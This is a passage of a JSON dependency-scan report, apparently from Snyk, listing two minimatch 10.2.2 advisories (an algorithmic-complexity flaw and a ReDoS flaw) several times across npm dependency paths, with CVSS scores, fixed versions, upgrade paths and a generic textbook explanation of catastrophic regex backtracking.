"minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, 